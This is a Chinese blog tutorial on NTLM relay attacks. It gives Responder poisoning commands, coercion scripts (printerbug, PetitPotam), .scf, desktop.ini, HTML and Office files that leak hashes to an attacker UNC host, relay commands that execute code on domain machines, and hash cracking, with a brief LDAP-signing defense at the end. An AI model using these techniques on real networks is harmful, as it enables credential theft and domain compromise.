NTLM Relay攻击技术

NTLM Relay 攻击

NTLM Relay 攻击也称为 Net-NTLM Relay 攻击,它发生在 NTLM 认证的第三步,在 Response 消息中存在 Net-NTLM
Hash,当攻击者获得了 Net-NTLM Hash 后,可以重放 Net-NTLM Hash 进行中间人攻击。

NTLM Relay 流程即:攻击者作为中间人在客户端和服务器之间转发 NTLM 认证数据包,从而模拟客户端身份访问服务端的资源。

NTLM Relay 攻击分为两步:第一步是捕获 Net-NTLM Hash;第二步是重放 Net-NTLM Hash。

攻击流程&示例

捕获 Net-NTLM Hash

监听 NTLM 请求

第一步是使用工具来监听目标服务器发来的 NTLM 请求,这里可以使用 Responder 工具执行如下命令进行监听,运行结果如图所示:

responder -I eth0 -wd
在这里插入图片描述

发起 NTLM 认证

第二步是使目标服务器主动向攻击者发起 NTLM 认证,这里有几种方法:

法一:通过 LLMNR 和 NBNS 协议

(1)概念

LLMNR(链路本地多播名称解析)和 NBNS(网络基本输入输出系统名称服务)是居于网内协议,主要用于局域网内的名称解析,Windows 系统中名称解析顺序如下:

  • 本地 hosts 文件(%windir%\System32\drivrs\etc\hosts)
  • DNS 缓存/DNS 服务器
  • LLMNR 和 NBNS 协议
特性 LLMNR NBNS (NetBIOS 名称服务)
传输方式 多播 (224.0.0.252 / FF02::1:3) 广播 (或查询 WINS 服务器)
IP 支持 IPv4 和 IPv6 仅 IPv4
默认端口 UDP 5355 UDP 137
最低 Windows 支持 Windows Vista 及更高版本 Windows NT 及所有后续版本
主要设计 较现代,基于 DNS 格式 (RFC 4795) 传统,基于 NetBIOS
典型场景 DNS 失败后的现代备用机制,IPv6 环境 老式网络、工作组环境,无 DNS/WINS 时备用

(2)攻击

用户输入任意一个不存在的名称,本地 hosts 文件和 DNS 服务器均不能正常解析该名称,于是系统就会发送 LLMNR/NBNS 数据包请求解析。攻击者收到请求后告诉客户端自己是不该存在的名称并要求客户端发送给 Net-NTLM Hash 进行认证,这样攻击者就可以收到客户端发来的 Net-NTLM Hash 了,如图:

在这里插入图片描述 在这里插入图片描述

请求一个不存在的名称,此时 Responder 对目标主机进行 LLMNR/NBNS 毒化,并要求输入凭据认证,然后就可以抓到目标机器的 Net-NTLM Hash,如图所示:

在这里插入图片描述

法二:通过打印机漏洞&printerbug

MS-RPRN 协议(打印机后台处理程序)存在设计缺陷,允许域内任意已认证用户通过调用 RpcRemoteFindFirstPrinterChangeNotificationEx() 方法,强制目标主机(如域控制器)以 system 权限运行的打印服务(spoolsv.exe)向攻击者指定的 任意 IP 发起身份验证请求。攻击者可选择要求 NTLM 认证,从而捕获目标机器的 Net-NTLM Hash。

命令如下:

python3 printerbug.py hack/<AD User>:<passwd>@<DC_IP> <攻击者掌握的主机ip>

示例:

如图所示,使用 printerbug.py 脚本触发目标机器 DC 向 192.168.41.13 发起 SMB 认证:

在这里插入图片描述

此时 Responder 已经收到目标机器发送的 SMB 类型的 Net-NTLM Hash 了,如图所示:

在这里插入图片描述

法三:通过 PetitPotam

MS-EFSRPC 协议用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用 PetitPotam,攻击者可以通过连接到 LSARPC 强制触发目标机器向指定的远程服务器发送 Net-NTLM Hash。

使用 Petitpotam.py 脚本执行如下的命令,强制目标主机 DC 向控制的主机发起 NTLM 身份认证;PetitPotam 脚本也支持匿名触发:

python3 PetitPotam.py -d <域名> -u <AD User> -p <passwd> <DC_ip> <攻击者掌握的主机ip>

示例:

如图所示,使用 PetitPotam.py 脚本出发目标机器 DC 向攻击者发起 SMB 认证:

在这里插入图片描述

此时 Responder 已经收到目标机器发送的 SMB 类型的 Net-NTLM Hash :

在这里插入图片描述

法四:通过图标

当图标的一些路径改成指定的 UNC 路径,就能收到目标机器发来的 NTLM 请求。

(1)desktop.ini 文件

每个文件夹下都有一个隐藏的 desktop.ini,其作用是指定文件夹的图标等。可以通过修改文件夹属性“隐藏受保护的操作系统文件(推荐)”来显示 desktop.ini 文件。

首先创建一个 test 文件夹。修改该文件夹的图标为其中任意一个,如图所示:

在这里插入图片描述

在“文件夹选项”对话框的“查看”选项卡中 取消勾选 该文件夹的“隐藏受保护的操作系统(推荐)属性”,同时将在“隐藏文件和文件夹”选项下勾选“显示隐藏的文件、和文件夹和驱动器”如图所示:

在这里插入图片描述

这样就能在 test 文件夹下看到 desktop.ini 文件了,如图所示:

在这里插入图片描述

desktop.ini 文件原内容如图所示:

在这里插入图片描述

将 IconResource 的内容替换为攻击者控制机器的 UNC 路径,如图所示:

在这里插入图片描述

只要有人访问了 test 文件夹,目标机器就会去请求指定的 UNC 的图标资源,于是该机器将当前用户的 Net-NTLM Hash 发送给指定的 UNC 机器,在指定的 UNC 机器上就能接收到目标机器了发来的 Net-NTLM Hash 了。

在这里插入图片描述

(2).scf 后缀文件
由于 scf 包含 IconFile 属性,因此一个文件夹内若含有.scf 文件,文件管理器会尝试获取文件夹的图标。而 IconFile 是支持 UNC 路径的,所以当打开文件夹的时候,目标机器就会请求指定 UNC 的图标资源,并将当前用户的 NTLM v2 Hash 发送给指定的机器,攻击者在该机器上使用 Responder 监听,就能收到目标机器发来的 Net-NTLM Hash 了。

.scf 文件的格式:

[Shell]
Command=2
IconFile=UNC路径
[Taskbar]
Command=ToggleDesktop

示例:

创建一个文件夹,在该文件夹下创建 test.scf 文件,文件内容如下:

[Shell]
Command=2
IconFile=\\192.168.41.13\test\test.iso
[Taskbar]
Command=ToggleDesktop

在这里插入图片描述

只要有人访问了 test 文件夹,目标机器就会请求指定的 UNC 路径的图标资源,于是该机器会将当前用户 NTLM v2 Hash 发送给指定机器 192.168.41.13,在该机器上就能收接受到目标机器发来的 Net-NTLM Hash 了:

在这里插入图片描述

法五:通过浏览器

当浏览器在访问、解析包含 UNC 路径的页面时,该页面也会尝试请求其中的 UNC 地址,然后发起 NTLM 认证;不同的浏览器对插入不同格式的 UNC 路径的测试结果如图所示:

在这里插入图片描述

示例:

在如下的网页文件中插入的 UNC 格式为 \\192.168.41.13\test

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
</body>
    <script src="\\192.168.41.13\test"></script>
</html>

这时用户使用 IE 浏览器访问该页面时,在 192.18.41.13 机器上就能获得目标用户的 SMB 类型的 Net-NTLM Hash 了。

在这里插入图片描述

解决了浏览器对 UNC 路径的解析后,就要思考如何在网页中插入 UNC 路径了。常见的 Web 漏洞(如 XSS、SSRF、XXE 等)都可以在 web 页面中插入代码

Tips:UNC 路径(Universal Naming Convention Path) 是 Windows 系统中用于访问 网络共享资源 的标准路径格式,无需通过本地盘符映射,直接通过网络路径定位文件、文件夹或打印机等资源。它的设计目的是提供跨网络的统一资源访问方式,常见于局域网(LAN)环境中。

[补充]通过smb监听

除了前文的在网页中插入UNC路径,还可以利用远程文件包含漏洞,抓包修改请求文件的路径为smb监听的UNC。

比如,先使用impacket中的脚本建立smb共享:

impacket-smbserver <共享名> . -smb2support

image-20250610163637484

然后在存在远程文件包含漏洞的地方进行请求,抓包修改请求文件路径为前面建立的smb共享的路径:

image-20250610163800013

可以看到示例中发起请求后攻击机这边就收到了一个认证凭据(大概率是NTLMv2),那么就可以使用hashcat等工具对其进行爆破处理。

法六:通过系统命令

通过执行系统命令,访问指定的 UNC 路径,也可以获取到目标机器的 Net-NTLM Hash,触发 Net-NTLM Hash 的常见命令如下:

net.exe use \hostshare 
attrib.exe \hostshare
cacls.exe \hostshare
certreq.exe \hostshare #(有噪音,弹出错误对话框)
certutil.exe \hostshare
cipher.exe \hostshare
ClipUp.exe -l \hostshare
cmdl32.exe \hostshare
cmstp.exe /s \hostshare
colorcpl.exe \hostshare #(有噪音,弹出错误对话框)
comp.exe /N=0 \hostshare \hostshare
compact.exe \hostshare
control.exe \hostshare
convertvhd.exe -source \hostshare -destination \hostshare
Defrag.exe \hostshare
diskperf.exe \hostshare
dispdiag.exe -out \hostshare
doskey.exe /MACROFILE=\hostshare
esentutl.exe /k \hostshare
expand.exe \hostshare
extrac32.exe \hostshare
FileHistory.exe \hostshare #(有噪音,弹出一个图形用户界面)
findstr.exe * \hostshare
fontview.exe \hostshare #(有噪音,弹出错误对话框)
fvenotify.exe \hostshare #(有噪音,弹出访问被拒绝错误)
FXSCOVER.exe \hostshare #(嘈杂,弹出图形用户界面)
hwrcomp.exe -check \hostshare
hwrreg.exe \hostshare
icacls.exe \hostshare 
licensingdiag.exe -cab \hostshare
lodctr.exe \hostshare
lpksetup.exe /p \hostshare /s
makecab.exe \hostshare
msiexec.exe /update \hostshare /quiet
msinfo32.exe \hostshare #(有噪音,弹出“无法打开”对话框)
mspaint.exe \hostshare #(嘈杂声,无效的PNG路径错误)
msra.exe /openfile \hostshare #(嘈杂的,错误的)
mstsc.exe \hostshare #(嘈杂的,错误的)
netcfg.exe -l \hostshare -c p -i foo

示例:

使用系统命令 cacls.exe 访问指定的 UNC 路径就可以触发 Net-NTLM Hash:

cacls.exe \\192.168.41.13\test

在这里插入图片描述

如图,这样就收到目标机器的 Net-NTLM Hash 了:

在这里插入图片描述

法七:通过 Office

新建一个 word 文件 1.docx,插入一张图片,如图所示:

在这里插入图片描述

用压缩软件打开,进入 1.docx\word_rels 目录,找到并打开 document.xml.rels 文件:

在这里插入图片描述

可以看到 Target 参数是本地路径,如图所示

在这里插入图片描述

将上述的路径修改为指定的 UNC 路径,然后加上 TargetMode="External"

在这里插入图片描述

只要有人访问了该 word 文档,目标主机就会去请求指定 UNC 的图片资源,于是该主机会将当前用户的 NTLM v2 hash 发送给指定的机器,只要该机器上使用 Responder 监听,就能接收到目标机器发来的 Net-NTLM Hash:

在这里插入图片描述

重放 Net-NTLM Hash

在获取到目标机器的 Net-NTLM Hash 后的利用方式如下:

  • 使用 Hashcat 破解 Net-NTLM Hash
  • Relay Net-NTLM Hash

由于 NTLM 只是底层的认证协议,必须镶嵌在上层应用协议里面,消息的传输依赖于使用 NTLM 的上层协议,比如 SMB、HTTP、LDAP 等。因此,攻击者可以将获取到的 Net-NTLM Hash Relay 到其他使用 NTLM 进行认证的应用上。

法一:中继到 SMB 协议

image-20250606150811432

流程:

  1. 中间人位置:攻击者截获受害者(如域管理员)的 Net-NTLM Hash
  2. 协议转换:将认证请求转发给目标 SMB 服务器
  3. 权限继承:目标服务器以受害者身份执行攻击者指定的操作

直接中继到 smb 服务是最简单的方式,但有两种环境下的攻击方式:

(1)工作组环境下的 smb 中继
  1. MS08-068 限制(Relay to Self)
  • 原漏洞:可将认证请求反射回受害者自身(Self-Relay),直接控制该机器

  • 补丁机制:微软通过 KB957097 引入防护:

    当 SMB 认证时:
    1. 客户端在 Type1 阶段声明目标服务(如 CIFS/B)
    2. 服务端在 Type2 返回 Challenge
    3. 客户端在 lsass 中缓存 (Challenge, CIFS/B)
    4. 服务端验证缓存:若存在相同条目则拒绝认证
    
  • 结果:如图,中继到自身失败

    在这里插入图片描述

  1. CVE-2019-1384(Ghost Potato)
  • 绕过原理:lsass 缓存有效期仅 300 秒

  • 利用条件

    • 仅支持 HTTP 协议触发(不支持 SMB)
    • 需要受害者主动发起连接(如点击恶意链接)
  • 攻击命令

    python3 ntlmrelayx.py -t smb://<target_IP> -smb2support -c "command"
    
    • -t smb://目标IP:中继到目标 SMB 服务器
    • -c "命令":认证成功后执行的系统命令
(2)域环境下的 smb 中继
  1. 通过 impacket 的 smbrelayx.py 脚本进行中继,脚本接受域用户发送来的 Net-NTLM Hash,然后中继到域内其他机器执行指定命令,需要先启动,等待 DC 发来的 hash;

    示例:

    python3 smbrelaxy.py -h 192.168.41.20 -c whoami
    

    在这里插入图片描述 然后在域控触发发送 NTLM Hash:

    cacls.exe \\192.168.41.13\t
    
    在这里插入图片描述

    然后由于域控是域管理员身份登录的,若此时有用户触发发送 NTLM Hash 后,攻击者的机器就捕获到了域管理员的 NTLM Hash,并将其登陆到了域内机器 192.168.41.20 机器上,执行 whoami 命令成功:

    在这里插入图片描述

  2. 利用 Responder 的 MultiRelay.py 脚本实现中继,通过 ALL 参数可以获得一些稳定的 shell,还有抓取密码等功能。-t 参数用于指定要中继的机器。该脚本接受域用户的 Net-NTLM Hash,然后中继到域内其他机器执行命令;

    示例:

     python3 MultiRelay.py -t 192.168.41.20 -u ALL
    
    在这里插入图片描述

    在域控触发发送 NTLM Hash 后,攻击者的机器就捕获到了域管理员的 NTLM Hash,并将其登陆到了域内机器 192.168.41.20 机器上:

    在这里插入图片描述

    执行 woami 命令成功

    在这里插入图片描述

    执行 help 命令查看帮助,可以看到有很多的命令功能。执行系统的命令结果如图所示:

    在这里插入图片描述

法二:中继到 HTTP 协议

很多 HTTP 服务也支持 NTLM 认证,因此可以中继到 HTTP,而 HTTP 的默认策略是不签名的。然后利用 Exchange 认证(Exchange 认证也支持 NTLM SSP 的),使攻击者可以将 SMB 流量 Relay 到 Exchange 的 EWS 接口,从而可以进行收发邮件等操作。

使用 ntlmRelayToEWS 脚本执行如下的命令进行监听,等待接收 hash:

python2 ntlmRelayToEWS.py -t https://192.168.41.20/EWS/exchange.asmx -r getFolder -f inbox -v

法三:中继到 LDAP 协议

由于域内默认使用的就是 LDAP,而 LDAP 也支持使用 NTLM 认证,因此可以将流量中继到 LDAP,这也是域内 NTLM Relay
常用的一种攻击方式。LDAP 的默认策略是协商签名,而并不是强制签名。也就是说是否签名是由客户端决定的,服务端跟客户端协商是否需要签名。

从 HTTP 和 SMB 协议中继到 LDAP 的不同之处在于:

  • 从 HTTP 协议 Relay 到 LDAP 是 不要求进行签名 的,可以直接进行 Relay,如 CVE-2018-8581。域内常见的中继手法就是想办法将 HTTP 类型的流量中继到 LDAP。
  • 从 SMB 协议 Relay 到 LDAP 是 要求进行签名 的,这时,并不能直接进行 Relay。CVE-2019-1040 就是绕过了 NTLM 的 MIC 消息完整性校验,使得 SMB 协议 Relay 到 LDAP 时不需要签名,从而可以发动攻击。

爆破 Net-NTLM hash

通过 hashcat、john 等工具对捕获的 hash 进行爆破得到明文凭据。

实例

监听网络请求
  • 使用 Responder 监听网络接口(如 breachad):

    sudo responder -I breachad
    
  • 等待捕获 NetNTLM 质询。

捕获认证信息

Responder 输出示例:

img

记录用户名(如 ZA\svcFileServer)和哈希值:

echo 'svcLDAP:: za.tryhackme.com: 9F9D4EDFE346DCAF00000000000000000000000000000000: F0468927F3B22A1519CC86EB858D75978929ACBCEBD1AAFE: 80aca325f5429be9' > hash
echo 'tryhackmeldappass1@' > wordlist
john --wordlist =./wordlist hash
破解哈希

可以使用 Hashcat 和密码字典:

hashcat -m 5600 hash.txt passwords.txt --force

破解成功后,Hashcat 会输出明文密码。

PS:-m 5600 指定 NTLMv2-SSP 哈希类型。

也可以使用 john 进行爆破:

img

NTLM Relay 攻击防御

对于防守方或蓝队来说,由于域内 NTLM Relay 攻击最常见的就是中继到 LDAP 执行高危险操作,因此需要对 LDAP 进行安全加固。

微软于 2019 年 9 月份发布相关通告称计划于 2020 年 1 月发布安全更新。为了提升域控的安全性,该安全更新将强制开启所有域控上 LDAP 通到绑定与 LDAP 签名功能。如果域控上的 LDAP 强制开启了签名,那么攻击者将无法将其他流量中继到 LDAP 进行高危险操作了。

posted @ 2025-12-03 09:45  shinianyunyan  阅读(33)  评论(0)    收藏  举报